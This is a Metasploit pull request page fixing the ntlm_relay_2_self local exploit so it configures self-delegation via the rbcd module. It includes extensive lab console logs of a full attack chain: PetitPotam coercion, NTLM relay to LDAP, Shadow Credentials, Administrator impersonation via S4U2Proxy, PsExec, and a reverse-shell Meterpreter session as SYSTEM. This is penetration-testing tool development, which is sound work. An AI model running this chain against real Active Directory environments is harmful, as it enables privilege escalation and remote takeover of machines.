Skip to content

NtlmRelay2Self module fix check for self delegation via rbcd module - #21647

Merged
dledda-r7 merged 4 commits into
rapid7:masterfrom
jheysel-r7:fix/ntlmrelay2self/add_rbcd
Jul 16, 2026
Merged

NtlmRelay2Self module fix check for self delegation via rbcd module#21647
dledda-r7 merged 4 commits into
rapid7:masterfrom
jheysel-r7:fix/ntlmrelay2self/add_rbcd

Conversation

@jheysel-r7

@jheysel-r7 jheysel-r7 commented Jul 5, 2026

Copy link
Copy Markdown
Contributor

Description

This PR adds a call to the rbcd module to update the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the machine account we're targeting in the ntlm_relay_2_self module to allow for self delegation.

Shadow Credentials allows the operator to get a TGT via PKINIT. However unlike traditional constrained delegation, a computer account cannot inherently use S4U2Proxy to delegate to itself unless a Resource-Based Constrained Delegation relationship is explicitly defined.

This is a requirement in order to request a TGS impersonating the administrator as the machine account. If this attribute is not set operators will encounter a KDC_ERR_BADOPTION (13) error.

Why wasn't this an issue before?

Originally the ntlm_relay_2_self module was calling the rbcd module, updating the attribute, and then removing the added entry on clean up. Towards the end of the module review I though this might be unnecessary and deleted the call to the rbcd module. It appears as thought the REMOVE action in the rbcd module is broken, so the msDS-AllowedToActOnBehalfOfOtherIdentity stayed in my environment and continued to allow the module to work.

Breaking Changes

None

Reviewer Notes

Please see the comment I left regarding the shadow creds fix.

Testing Evidence

Before

(This output includes the shadow credentials fix)

msf exploit(windows/local/ntlm_relay_2_self) > run
[*] Exploit running as background job 1.
msf exploit(windows/local/ntlm_relay_2_self) >
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8081 is available on the victim...
[+] Port 8081 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 172.16.199.200 is reachable from the victim!
[*] Starting relay server bound to Session 1...
[*] Using URL: http://172.16.199.1:8081/UYPvr4TRLABS
[*] Server successfully started on 0.0.0.0:8081 via Session 1.
[*] Starting WebClient service via ETW trigger...
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\MINION1@8081/print\OCqdq\9ljHu0e.bSa...
[*] Received OPTIONS request for /print/OCqdq/9ljHu0e.bSa from 172.16.199.130:50014
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received OPTIONS request for /print/OCqdq/9ljHu0e.bSa from 172.16.199.130:50014
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received OPTIONS request for /print/OCqdq/9ljHu0e.bSa from 172.16.199.130:50014
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\sandy -  Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 2 successfully opened!
[*] Target list exhausted for 172.16.199.130. Closing connection.
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 2
[*] Running admin/ldap/shadow_credentials to ADD key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20260706100948_default_172.16.199.200_windows.ad.cs_516522.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 45e2468f-43d6-ba07-d787-42d725cac036
[*] Shadow Credentials successfully added (Device ID: 45e2468f-43d6-ba07-d787-42d725cac036).
[*] Requesting S4U2Proxy TGS for Administrator...
[!] Warning: Provided principal and realm (minion1$@kerberos.issue) do not match entries in certificate:
[*] Using cached credential for krbtgt/KERBEROS.ISSUE@KERBEROS.ISSUE MINION1$@KERBEROS.ISSUE
[*] 172.16.199.200:88 - Getting TGS impersonating Administrator@kerberos.issue (SPN: CIFS/minion1.kerberos.issue)
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin
[-] Auxiliary aborted due to failure: unknown: Kerberos Error - KDC_ERR_BADOPTION (13) - KDC cannot accommodate requested option
[+] S4U2Proxy Ticket acquired: /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin
[+] Obtained impersonating ST for target host minion1$
[*] Ticket for minion1$ stored at: /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin
[*] --- Initiating OPSEC Cleanup ---
[*] Removing Shadow Credentials (Device ID: 45e2468f-43d6-ba07-d787-42d725cac036)...
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 2
[*] Running admin/ldap/shadow_credentials to REMOVE key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 45e2468f-43d6-ba07-d787-42d725cac036
[+] Successfully removed KeyCredentialLink with Device ID: 45e2468f-43d6-ba07-d787-42d725cac036
[*] Cleanup complete.
[*] Executing PsExec with Kerberos ticket via session 1 COMM channel...
[*] Launching PsExec against minion1.kerberos.issue as Administrator (Kerberos) via COMM session 1...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] PsExec module launched. Check sessions for new elevated session.
[*] Started reverse TCP handler on 172.16.199.1:7364
[*] minion1.kerberos.issue:445 - Connecting to the server...
[*] minion1.kerberos.issue:445 - Authenticating to minion1.kerberos.issue:445|kerberos.issue as user 'Administrator'...
[-] minion1.kerberos.issue:445 - Failed to load a usable credential from ticket file: /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin
[-] minion1.kerberos.issue:445 - Attempt failed to find a valid credential in /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin for realm="kerberos.issue", sname=nil, sname_hostname="minion1.kerberos.issue":
[-] minion1.kerberos.issue:445 -   Filtered credential /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin #1 reason: SPN (minion1.kerberos.issue) hostname does not match (spn: minion1$/)
[-] minion1.kerberos.issue:445 - Attempt failed to find a valid credential in /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin for realm="kerberos.issue", sname="krbtgt/kerberos.issue", sname_hostname=nil
[-] minion1.kerberos.issue:445 -   Filtered credential /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin #1 reason: SPN (krbtgt/kerberos.issue) does not match (spn: minion1$)
[-] minion1.kerberos.issue:445 - Exploit failed: Rex::Proto::Kerberos::Model::Error::KerberosError Failed to load a usable credential from ticket file: /Users/jheysel/.msf4/loot/20260706100949_default_172.16.199.200_mit.kerberos.cca_292128.bin

After

msf exploit(windows/local/ntlm_relay_2_self) > run
[*] Exploit running as background job 10.
msf exploit(windows/local/ntlm_relay_2_self) > 
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8081 is available on the victim...
[+] Port 8081 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 172.16.199.200 is reachable from the victim!
[*] Starting relay server bound to Session 1...
[*] Using URL: http://172.16.199.1:8081/bPMVhaWN3sQbA
[*] Server successfully started on 0.0.0.0:8081 via Session 1.
[*] Starting WebClient service via ETW trigger...
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\MINION1@8081/print\KjcL\txCOGF.obW...
[*] Received OPTIONS request for /print/KjcL/txCOGF.obW from 172.16.199.130:49922
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received OPTIONS request for /print/KjcL/txCOGF.obW from 172.16.199.130:49922
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received OPTIONS request for /print/KjcL/txCOGF.obW from 172.16.199.130:49922
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\sandy -  Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 9 successfully opened!
[*] Target list exhausted for 172.16.199.130. Closing connection.
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 9
[*] Running admin/ldap/shadow_credentials to ADD key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20260706091716_default_172.16.199.200_windows.ad.cs_783627.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 330b183f-9ae0-4660-e497-92ec863849c8
[*] Shadow Credentials successfully added (Device ID: 330b183f-9ae0-4660-e497-92ec863849c8).
[*] Loading admin/ldap/rbcd to check RBCD for minion1$...
[*] minion1$ not found in msDS-AllowedToActOnBehalfOfOtherIdentity. Writing RBCD delegation...
[*] Running admin/ldap/rbcd WRITE: DELEGATE_FROM=minion1$ -> DELEGATE_TO=minion1$
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
[*] Added account:
[*]   S-1-5-21-2324486357-3075865580-3606784161-2604 (MINION1$)
[+] Successfully configured RBCD for minion1$.
[*] Requesting S4U2Proxy TGS for Administrator...
[!] Warning: Provided principal and realm (minion1$@kerberos.issue) do not match entries in certificate:
[*] Using cached credential for krbtgt/KERBEROS.ISSUE@KERBEROS.ISSUE MINION1$@KERBEROS.ISSUE
[*] 172.16.199.200:88 - Getting TGS impersonating Administrator@kerberos.issue (SPN: CIFS/minion1.kerberos.issue)
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_484711.bin
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_056968.bin
[+] S4U2Proxy Ticket acquired: /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_056968.bin
[+] Obtained impersonating ST for target host minion1$
[*] Ticket for minion1$ stored at: /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_056968.bin
[*] --- Initiating OPSEC Cleanup ---
[*] Removing Shadow Credentials (Device ID: 330b183f-9ae0-4660-e497-92ec863849c8)...
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 9
[*] Running admin/ldap/shadow_credentials to REMOVE key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 330b183f-9ae0-4660-e497-92ec863849c8
[+] Successfully removed KeyCredentialLink with Device ID: 330b183f-9ae0-4660-e497-92ec863849c8
[*] Removing RBCD delegation for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] No DACL ACEs matched. No changes are necessary.
[+] RBCD delegation removed for minion1$.
[*] Cleanup complete.
[*] Executing PsExec with Kerberos ticket via session 1 COMM channel...
[*] Launching PsExec against minion1.kerberos.issue as Administrator (Kerberos) via COMM session 1...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] PsExec module launched. Check sessions for new elevated session.
[*] Started reverse TCP handler on 172.16.199.1:4454 
[*] minion1.kerberos.issue:445 - Connecting to the server...
[*] minion1.kerberos.issue:445 - Authenticating to minion1.kerberos.issue:445|kerberos.issue as user 'Administrator'...
[*] minion1.kerberos.issue:445 - Patching sname from CIFS/minion1.kerberos.issue to cifs/minion1.kerberos.issue
[*] minion1.kerberos.issue:445 - Loaded a credential from ticket file: /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_056968.bin
[*] minion1.kerberos.issue:445 - Selecting PowerShell target
[*] minion1.kerberos.issue:445 - Executing the payload...
[+] minion1.kerberos.issue:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (199238 bytes) to 172.16.199.130
[*] Meterpreter session 10 opened (172.16.199.1:4454 -> 172.16.199.130:49930) at 2026-07-06 09:17:29 -0700

@github-actions

github-actions Bot commented Jul 6, 2026

Copy link
Copy Markdown

Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.

We've added the additional-testing-required label to indicate that additional testing is required before this pull request can be merged.
For maintainers, this means visiting here.

@jheysel-r7
jheysel-r7 marked this pull request as ready for review July 6, 2026 18:59
@jheysel-r7 jheysel-r7 moved this from Todo to Waiting on Review in Metasploit Kanban Jul 13, 2026
@smcintyre-r7 smcintyre-r7 added this to the Version 6.5 milestone Jul 13, 2026
@dledda-r7
dledda-r7 requested a review from Copilot July 15, 2026 08:49

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR updates the windows/local/ntlm_relay_2_self exploit chain to ensure Resource-Based Constrained Delegation (RBCD) self-delegation is configured (via admin/ldap/rbcd) before requesting an S4U2Proxy TGS, and includes a small fix in admin/ldap/shadow_credentials when persisting credential metadata.

Changes:

  • Add an RBCD “READ then WRITE if needed” step to set msDS-AllowedToActOnBehalfOfOtherIdentity for self-delegation in ntlm_relay_2_self.
  • Add best-effort cleanup to remove the self-delegation ACE if it was written during execution.
  • Fix credential metadata port assignment in shadow_credentials to use the derived LDAP service port.

Impact Analysis:

  • Blast radius: medium (affects the behavior and side effects of windows/local/ntlm_relay_2_self; transitively depends on admin/ldap/rbcd runtime/output).
  • Data and contract effects: modifies AD object security descriptor state via RBCD WRITE/REMOVE (directory-side configuration changes); cleanup reliability is Unknown from this diff alone.
  • Rollback and test focus: rollback is straightforward (revert module changes), but validate end-to-end: (1) RBCD write happens only when needed, (2) S4U2Proxy succeeds on a clean environment, (3) cleanup does not leave delegation behind.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.

File Description
modules/exploits/windows/local/ntlm_relay_2_self.rb Adds RBCD READ/WRITE orchestration and conditional cleanup around the ticket acquisition chain.
modules/auxiliary/admin/ldap/shadow_credentials.rb Uses the LDAP service-derived port when storing credential metadata.

Comment on lines +445 to +450
read_result = buffer_output.dump_buffer

if read_result.downcase.include?(target_name.downcase)
print_good("RBCD already configured: #{target_name} is listed in msDS-AllowedToActOnBehalfOfOtherIdentity.")
return :already_configured
end
Comment on lines +499 to +506
rbcd_module.run_simple(
'LocalInput' => user_input,
'LocalOutput' => user_output,
'RunAsJob' => false
)

print_good("RBCD delegation removed for #{target_name}.")
rescue StandardError => e
Comment on lines +468 to +472
rbcd_module_write.run_simple(
'LocalInput' => user_input,
'LocalOutput' => user_output,
'RunAsJob' => false
)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I have noticed for some of this module run we are not checking the output but rather rescuing a StandardError you don't expect to see an edge case where the module doesn't throw standard error but it fails?

@jheysel-r7
jheysel-r7 force-pushed the fix/ntlmrelay2self/add_rbcd branch from 6c049e2 to 38675fe Compare July 15, 2026 23:07

@dledda-r7 dledda-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf exploit(windows/local/ntlm_relay_2_self) > 
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8999 is available on the victim...
[+] Port 8999 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 10.5.134.192 is reachable from the victim!
[*] Starting relay server bound to Session 14...
[*] Using URL: http://192.168.3.10:8999/
[*] Server successfully started on 0.0.0.0:8999 via Session 14.
[*] Starting WebClient service via ETW trigger...
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\JACKWS@8999/print\lNQAGrz\0tw8o2n.OIA...
[*] Received OPTIONS request for /print/lNQAGrz/0tw8o2n.OIA from 10.5.134.194:50072
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received OPTIONS request for /print/lNQAGrz/0tw8o2n.OIA from 10.5.134.194:50072
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 10.5.134.194, attempting to relay...
[*] Attempting to relay to 10.5.134.192:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://10.5.134.192:389, attempting to relay back to client
[*] Received OPTIONS request for /print/lNQAGrz/0tw8o2n.OIA from 10.5.134.194:50072
[*] Processing request in state awaiting_type3 from 10.5.134.194
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 10.5.134.194, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: WHISTLER\sandy - Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 19 successfully opened!
[*] Target list exhausted for 10.5.134.194. Closing connection.
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 19
[*] Running admin/ldap/shadow_credentials to ADD key for jackws$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 10.5.134.192:389 Discovered base DN: DC=whistler,DC=local
[*] Certificate stored at: /home/kali/.msf4/loot/20260716124649_default_10.5.134.192_windows.ad.cs_776192.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID f18ca8d3-e020-56b0-7e28-2c0bd1535448
[*] Shadow Credentials successfully added (Device ID: f18ca8d3-e020-56b0-7e28-2c0bd1535448).
[*] Loading admin/ldap/rbcd to check RBCD for jackws$...
[+] RBCD already configured: jackws$ is listed in msDS-AllowedToActOnBehalfOfOtherIdentity.
[*] Requesting S4U2Proxy TGS for Administrator...
[!] Warning: Provided principal and realm (jackws$@WHISTLER.local) do not match entries in certificate:
[*] Using cached credential for krbtgt/WHISTLER.LOCAL@WHISTLER.LOCAL JACKWS$@WHISTLER.LOCAL
[*] 10.5.134.192:88 - Getting TGS impersonating Administrator@WHISTLER.local (SPN: CIFS/jackws.whistler.local)
[+] 10.5.134.192:88 - Received a valid TGS-Response
[*] 10.5.134.192:88 - TGS MIT Credential Cache ticket saved to /home/kali/.msf4/loot/20260716124650_default_10.5.134.192_mit.kerberos.cca_945530.bin
[+] 10.5.134.192:88 - Received a valid TGS-Response
[*] 10.5.134.192:88 - TGS MIT Credential Cache ticket saved to /home/kali/.msf4/loot/20260716124651_default_10.5.134.192_mit.kerberos.cca_334904.bin
[+] S4U2Proxy Ticket acquired: /home/kali/.msf4/loot/20260716124651_default_10.5.134.192_mit.kerberos.cca_334904.bin
[+] Obtained impersonating ST for target host jackws$
[*] Ticket for jackws$ stored at: /home/kali/.msf4/loot/20260716124651_default_10.5.134.192_mit.kerberos.cca_334904.bin
[*] --- Initiating OPSEC Cleanup ---
[*] Removing Shadow Credentials (Device ID: f18ca8d3-e020-56b0-7e28-2c0bd1535448)...
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 19
[*] Running admin/ldap/shadow_credentials to REMOVE key for jackws$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 10.5.134.192:389 Discovered base DN: DC=whistler,DC=local
[+] Deleted entry with device ID f18ca8d3-e020-56b0-7e28-2c0bd1535448
[+] Successfully removed KeyCredentialLink with Device ID: f18ca8d3-e020-56b0-7e28-2c0bd1535448
[*] Cleanup complete.
[*] Executing PsExec with Kerberos ticket via session 14 COMM channel...
[*] Launching PsExec against jackws.whistler.local as Administrator (Kerberos) via COMM session 14...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] PsExec module launched. Check sessions for new elevated session.
[*] Started reverse TCP handler on 192.168.3.10:4446 
[*] jackws.whistler.local:445 - Connecting to the server...
[*] jackws.whistler.local:445 - Authenticating to jackws.whistler.local:445|WHISTLER.local as user 'Administrator'...
[*] jackws.whistler.local:445 - Patching sname from CIFS/jackws.whistler.local to cifs/jackws.whistler.local
[*] jackws.whistler.local:445 - Loaded a credential from ticket file: /home/kali/.msf4/loot/20260716124651_default_10.5.134.192_mit.kerberos.cca_334904.bin
[!] jackws.whistler.local:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] jackws.whistler.local:445 - Uploading payload... KZehLHrL.exe
[*] jackws.whistler.local:445 - Created \KZehLHrL.exe...
[*] Sending stage (199238 bytes) to 10.5.134.194
[+] jackws.whistler.local:445 - Service started successfully...
[*] jackws.whistler.local:445 - Deleting \KZehLHrL.exe...
[*] Meterpreter session 20 opened (192.168.3.10:4446 -> 10.5.134.194:50074) at 2026-07-16 12:47:28 -0400

msf exploit(windows/local/ntlm_relay_2_self) > sessions -i -1
[*] Starting interaction with 20...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

@github-project-automation github-project-automation Bot moved this from Waiting on Review to In Progress in Metasploit Kanban Jul 16, 2026
@dledda-r7
dledda-r7 merged commit 4e0012f into rapid7:master Jul 16, 2026
21 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Jul 16, 2026
**service_data,
address: service_data[:host],
port: rport,
port: service_data[:port],

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I never saw this error previously when testing this module - but now in multiple different test environments the shadow creds module crashes every time when attempting to store the certificate in the database because the rport accessor is nil. The rport datastore options is defined by default in the ntlm_relay_2_self module and the shadow_credentials module runs successfully up until store_cert is called. I'll admit I don't know why this was working before and isn't now, I didn't spend a ton of time investigating. However, it seems reasonable to set the port value of the credential_data to the port returned by the call to ldap_service_data, which returns 389 in my environment.

Would love to get a second opinion on this.

Before Shadow Credentials Fix

msf exploit(windows/local/ntlm_relay_2_self) > run
[*] Exploit running as background job 2.
msf exploit(windows/local/ntlm_relay_2_self) >
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8081 is available on the victim...
[+] Port 8081 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 172.16.199.200 is reachable from the victim!
[*] Starting relay server bound to Session 1...
[*] Using URL: http://172.16.199.1:8081/8W6hfpvust4ims
[*] Server successfully started on 0.0.0.0:8081 via Session 1.
[*] Starting WebClient service via ETW trigger...
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\MINION1@8081/print\0x3yj\18SOVr.RCO...
[*] Received OPTIONS request for /print/0x3yj/18SOVr.RCO from 172.16.199.130:50003
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received OPTIONS request for /print/0x3yj/18SOVr.RCO from 172.16.199.130:50003
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received OPTIONS request for /print/0x3yj/18SOVr.RCO from 172.16.199.130:50003
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\sandy -  Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 2 successfully opened!
[*] Target list exhausted for 172.16.199.130. Closing connection.
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 2
[*] Running admin/ldap/shadow_credentials to ADD key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[-] Auxiliary failed: ActiveRecord::RecordInvalid Validation failed: Port is not a number, Port is not included in the list
[-] Call stack:
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/validations.rb:87:in `raise_validation_error'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/validations.rb:54:in `save!'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/transactions.rb:365:in `block in save!'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/transactions.rb:417:in `block (2 levels) in with_transaction_returning_status'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_adapters/abstract/transaction.rb:626:in `block in within_new_transaction'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activesupport-8.0.5/lib/active_support/concurrency/null_lock.rb:9:in `synchronize'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_adapters/abstract/transaction.rb:623:in `within_new_transaction'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_adapters/abstract/database_statements.rb:367:in `within_new_transaction'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_adapters/abstract/database_statements.rb:359:in `transaction'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/transactions.rb:413:in `block in with_transaction_returning_status'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_adapters/abstract/connection_pool.rb:416:in `with_connection'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/connection_handling.rb:312:in `with_connection'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/transactions.rb:409:in `with_transaction_returning_status'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/transactions.rb:365:in `save!'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/activerecord-8.0.5/lib/active_record/suppressor.rb:56:in `save!'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/metasploit-credential-6.0.25/lib/metasploit/credential/creation.rb:625:in `create_credential_service'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/metasploit-credential-6.0.25/lib/metasploit/credential/creation.rb:482:in `create_credential_origin_service'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/metasploit-credential-6.0.25/lib/metasploit/credential/creation.rb:407:in `create_credential_origin'
[-]   /Users/jheysel/.rvm/gems/ruby-3.3.8@metasploit-framework/gems/metasploit-credential-6.0.25/lib/metasploit/credential/creation.rb:144:in `create_credential'
[-]   /Users/jheysel/rapid7/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:6:in `block in create_credential'
[-]   /Users/jheysel/rapid7/metasploit-framework/lib/metasploit/framework/data_service/proxy/core.rb:164:in `data_service_operation'
[-]   /Users/jheysel/rapid7/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:5:in `create_credential'
[-]   /Users/jheysel/rapid7/metasploit-framework/lib/msf/core/auxiliary/report.rb:40:in `create_credential'
